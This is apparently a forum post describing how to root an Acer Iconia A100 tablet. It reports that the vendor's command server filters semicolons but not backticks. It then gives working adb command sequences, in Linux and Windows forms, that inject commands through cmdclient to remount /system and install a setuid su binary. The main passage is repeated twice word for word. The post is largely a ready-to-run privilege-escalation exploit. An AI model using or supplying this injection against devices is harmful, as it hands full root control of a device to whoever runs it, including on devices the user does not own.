The A100 ships with acer/vg_gen2/vangogh:3.2/HTJ85B/1311401634:user/release-keys . Its copy of /system/bin/vold includes a fix for GingerBreak, so that exploit won't work.
I also tried the iconiaroot-1.3.apk but it did not work either. Logcat says 'E/CMD_SERVER( 102): cmd_server: invalid argument !'. They apparently "fixed" the bug by scanning the input command for semicolons. But you can still use backticks to inject commands!
So until sc2k releases a new iconiaroot-1.4.apk, this should work:
Steps to get root (LINUX VERSION):
0. put your favorite su binary in /mnt/sdcard/su
1. adb shell /system/bin/cmdclient ec_micswitch '\`mount -o remount,rw /system\`'
2. adb shell /system/bin/cmdclient ec_micswitch '\`cat /mnt/sdcard/su >/system/xbin/su\`'
3. adb shell /system/bin/cmdclient ec_micswitch '\`chmod 6755 /system/xbin/su\`'
Steps to get root (WINDOWS VERSION, just the same minus the backslashes):
0. put your favorite su binary in /mnt/sdcard/su
1. adb shell /system/bin/cmdclient ec_micswitch '`mount -o remount,rw /system`'
2. adb shell /system/bin/cmdclient ec_micswitch '`cat /mnt/sdcard/su >/system/xbin/su`'
3. adb shell /system/bin/cmdclient ec_micswitch '`chmod 6755 /system/xbin/su`'
Note that this just gives you a working "su". Installing SuperUser.apk or whatever frontend you like is left as an exercise to the reader.
I also tried the iconiaroot-1.3.apk but it did not work either. Logcat says 'E/CMD_SERVER( 102): cmd_server: invalid argument !'. They apparently "fixed" the bug by scanning the input command for semicolons. But you can still use backticks to inject commands!
So until sc2k releases a new iconiaroot-1.4.apk, this should work:
Steps to get root (LINUX VERSION):
0. put your favorite su binary in /mnt/sdcard/su
1. adb shell /system/bin/cmdclient ec_micswitch '\`mount -o remount,rw /system\`'
2. adb shell /system/bin/cmdclient ec_micswitch '\`cat /mnt/sdcard/su >/system/xbin/su\`'
3. adb shell /system/bin/cmdclient ec_micswitch '\`chmod 6755 /system/xbin/su\`'
Steps to get root (WINDOWS VERSION, just the same minus the backslashes):
0. put your favorite su binary in /mnt/sdcard/su
1. adb shell /system/bin/cmdclient ec_micswitch '`mount -o remount,rw /system`'
2. adb shell /system/bin/cmdclient ec_micswitch '`cat /mnt/sdcard/su >/system/xbin/su`'
3. adb shell /system/bin/cmdclient ec_micswitch '`chmod 6755 /system/xbin/su`'
Note that this just gives you a working "su". Installing SuperUser.apk or whatever frontend you like is left as an exercise to the reader.
Last edited: